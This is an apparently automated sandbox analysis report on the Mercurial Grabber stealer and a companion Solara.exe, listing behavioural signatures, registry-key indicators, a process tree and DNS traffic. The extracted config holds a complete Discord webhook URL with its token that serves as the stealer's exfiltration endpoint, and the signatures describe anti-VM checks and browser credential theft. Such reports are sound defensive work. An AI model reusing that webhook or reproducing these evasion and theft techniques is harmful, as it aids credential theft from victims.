Analysis
-
max time kernel
728s -
max time network
751s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
17/09/2024, 00:08 UTC
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
https://github.com/NightfallGT/Mercurial-Grabber
Resource
win10v2004-20240802-en
General
-
Target
https://github.com/NightfallGT/Mercurial-Grabber
Malware Config
Extracted
mercurialgrabber
https://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0T
Signatures
-
Mercurial Grabber Stealer
Mercurial Grabber is an open source stealer targeting Chrome, Discord and some game clients as well as generic system information.
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Solara.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools Solara.exe -
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Solara.exe -
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
-
Executes dropped EXE 3 IoCs
pid Process 3204 7zFM.exe 4284 Mercurial.exe 1324 Solara.exe -
Loads dropped DLL 2 IoCs
pid Process 3432 Process not Found 3204 7zFM.exe -
Obfuscated with Agile.Net obfuscator 11 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
resource yara_rule behavioral1/memory/4284-231-0x00000000051D0000-0x00000000051EC000-memory.dmp agile_net behavioral1/memory/4284-232-0x00000000051F0000-0x0000000005210000-memory.dmp agile_net behavioral1/memory/4284-233-0x0000000005210000-0x0000000005230000-memory.dmp agile_net behavioral1/memory/4284-234-0x0000000005250000-0x0000000005260000-memory.dmp agile_net behavioral1/memory/4284-235-0x0000000005260000-0x0000000005274000-memory.dmp agile_net behavioral1/memory/4284-236-0x0000000005270000-0x00000000052DE000-memory.dmp agile_net behavioral1/memory/4284-237-0x00000000052F0000-0x000000000530E000-memory.dmp agile_net behavioral1/memory/4284-240-0x0000000005390000-0x000000000539E000-memory.dmp agile_net behavioral1/memory/4284-239-0x0000000005370000-0x000000000537E000-memory.dmp agile_net behavioral1/memory/4284-238-0x0000000005330000-0x0000000005366000-memory.dmp agile_net behavioral1/memory/4284-241-0x0000000005C00000-0x0000000005D4A000-memory.dmp agile_net -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 17 IoCs
flow ioc 207 discord.com 223 discord.com 258 discord.com 270 discord.com 296 discord.com 160 discord.com 206 discord.com 268 discord.com 269 discord.com 280 discord.com 290 discord.com 295 discord.com 259 discord.com 281 discord.com 159 discord.com 161 discord.com 221 discord.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 264 ip4.seeip.org 266 ip-api.com -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum Solara.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 Solara.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\127.0.2651.86\readme.txt msedge.exe File opened for modification C:\Program Files\7-Zip\Lang\ca.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\et.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\nb.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\sr-spc.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\uk.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\7z.sfx 7z2408-x64.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\127.0.2651.86\Mercurial.exe msedge.exe File opened for modification C:\Program Files\7-Zip\Lang\be.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\cy.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\gl.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\pa-in.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\pt.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\si.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\ta.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\ug.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Uninstall.exe 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\fa.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\fy.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\7z.exe 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\ka.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\eu.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\ext.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\gu.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\it.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\ne.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\ru.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\zh-tw.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\mn.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\License.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\mng2.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\bn.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\is.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\sl.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\ar.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\el.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\en.ttt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\7-zip.chm 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\uz-cyrl.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\ast.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\az.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\an.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\mng.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\sa.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\sq.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\tg.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\bg.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\br.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\fi.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\hy.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\sk.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\kk.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\mk.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\ps.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\sw.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\th.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\yo.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\7z.dll 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\cs.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\eo.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\fr.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\7-zip32.dll 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\kaa.txt 7z2408-x64.exe File opened for modification C:\Program Files\7-Zip\Lang\lv.txt 7z2408-x64.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cvtres.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7z2408-x64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Mercurial.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language csc.exe -
Checks SCSI registry key(s) 3 TTPs 1 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S Solara.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Solara.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Solara.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName Solara.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0 Solara.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation Solara.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer Solara.exe -
Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip 7z2408-x64.exe Key created \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000_Classes\Local Settings OpenWith.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000} 7z2408-x64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000} 7z2408-x64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip 7z2408-x64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" 7z2408-x64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip 7z2408-x64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip 7z2408-x64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment" 7z2408-x64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32 7z2408-x64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" 7z2408-x64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" 7z2408-x64.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2170637797-568393320-3232933035-1000\{16673451-606A-4038-AB65-5BF419A561A6} msedge.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension" 7z2408-x64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32 7z2408-x64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip32.dll" 7z2408-x64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension" 7z2408-x64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment" 7z2408-x64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip.dll" 7z2408-x64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" 7z2408-x64.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip 7z2408-x64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}" 7z2408-x64.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 4284 Mercurial.exe 4284 Mercurial.exe 4284 Mercurial.exe 4284 Mercurial.exe 4284 Mercurial.exe 4284 Mercurial.exe 4284 Mercurial.exe 4284 Mercurial.exe 4284 Mercurial.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3204 7zFM.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeRestorePrivilege 3204 7zFM.exe Token: 35 3204 7zFM.exe Token: SeSecurityPrivilege 3204 7zFM.exe Token: SeDebugPrivilege 4284 Mercurial.exe Token: 33 2508 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2508 AUDIODG.EXE Token: SeDebugPrivilege 1324 Solara.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 3204 7zFM.exe 3204 7zFM.exe 3204 7zFM.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 4476 7z2408-x64.exe 892 OpenWith.exe 892 OpenWith.exe 892 OpenWith.exe 892 OpenWith.exe 892 OpenWith.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4284 wrote to memory of 2960 4284 Mercurial.exe 130 PID 4284 wrote to memory of 2960 4284 Mercurial.exe 130 PID 4284 wrote to memory of 2960 4284 Mercurial.exe 130 PID 2960 wrote to memory of 4556 2960 csc.exe 132 PID 2960 wrote to memory of 4556 2960 csc.exe 132 PID 2960 wrote to memory of 4556 2960 csc.exe 132
Processes
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/NightfallGT/Mercurial-Grabber1⤵PID:5032
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --field-trial-handle=1284,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:11⤵PID:4816
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --field-trial-handle=3820,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:11⤵PID:980
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=5456,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:81⤵PID:4460
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --field-trial-handle=5424,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:81⤵PID:3940
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --field-trial-handle=5948,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:81⤵PID:764
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --field-trial-handle=6008,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6372 /prefetch:81⤵PID:4728
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --field-trial-handle=6324,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:11⤵PID:1492
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --lang=en-US --service-sandbox-type=service --field-trial-handle=6264,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6572 /prefetch:81⤵
- Drops file in Program Files directory
PID:4928
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --field-trial-handle=6996,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6964 /prefetch:81⤵PID:4228
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --field-trial-handle=4820,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=4988 /prefetch:11⤵PID:5032
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --field-trial-handle=7116,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7124 /prefetch:11⤵PID:4568
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --field-trial-handle=6952,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7192 /prefetch:81⤵PID:1600
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --field-trial-handle=7076,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7216 /prefetch:81⤵
- Modifies registry class
PID:3840
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --field-trial-handle=7268,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7280 /prefetch:11⤵PID:3136
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --field-trial-handle=7004,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7028 /prefetch:11⤵PID:2116
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=30 --field-trial-handle=6568,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6584 /prefetch:11⤵PID:3604
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --field-trial-handle=7232,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7608 /prefetch:11⤵PID:1192
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --field-trial-handle=7768,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7780 /prefetch:81⤵PID:3372
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --field-trial-handle=7848,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7828 /prefetch:81⤵PID:2152
-
C:\Users\Admin\Downloads\7z2408-x64.exe"C:\Users\Admin\Downloads\7z2408-x64.exe"1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4476
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:892
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4328
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --field-trial-handle=6888,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:81⤵PID:4688
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\Mercurial.Grabber.v1.03.rar"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3204
-
C:\Users\Admin\Desktop\Mercurial.exe"C:\Users\Admin\Desktop\Mercurial.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4284 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\roqe3hei\roqe3hei.cmdline"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES25F8.tmp" "c:\Users\Admin\Desktop\CSCB144162DAC5F435C94EB569F9FEE59A.TMP"3⤵
- System Location Discovery: System Language Discovery
PID:4556
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --field-trial-handle=5612,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:11⤵PID:3708
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x304 0x4981⤵
- Suspicious use of AdjustPrivilegeToken
PID:2508
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --field-trial-handle=3588,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=7108 /prefetch:11⤵PID:4468
-
C:\Users\Admin\Desktop\Solara.exe"C:\Users\Admin\Desktop\Solara.exe"1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Executes dropped EXE
- Maps connected drives based on registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
PID:1324
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --field-trial-handle=5600,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:81⤵PID:3868
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=5724,i,8548254608087149642,10333768245962368401,262144 --variations-seed-version --mojo-platform-channel-handle=6256 /prefetch:81⤵PID:3100
Network
-
Remote address:8.8.8.8:53Requestgithub.comIN AResponsegithub.comIN A20.26.156.215
-
Remote address:8.8.8.8:53Requestgithub.comIN UnknownResponse
-
Remote address:8.8.8.8:53Requestgithub.comIN AResponsegithub.comIN A20.26.156.215
-
Remote address:8.8.8.8:53Requestbusiness.bing.comIN AResponsebusiness.bing.comIN CNAMEbusiness-bing-com.b-0005.b-msedge.netbusiness-bing-com.b-0005.b-msedge.netIN CNAMEb-0005.b-msedge.netb-0005.b-msedge.netIN A13.107.6.158
-
Remote address:8.8.8.8:53Requestbusiness.bing.comIN UnknownResponsebusiness.bing.comIN CNAMEbusiness-bing-com.b-0005.b-msedge.net
-
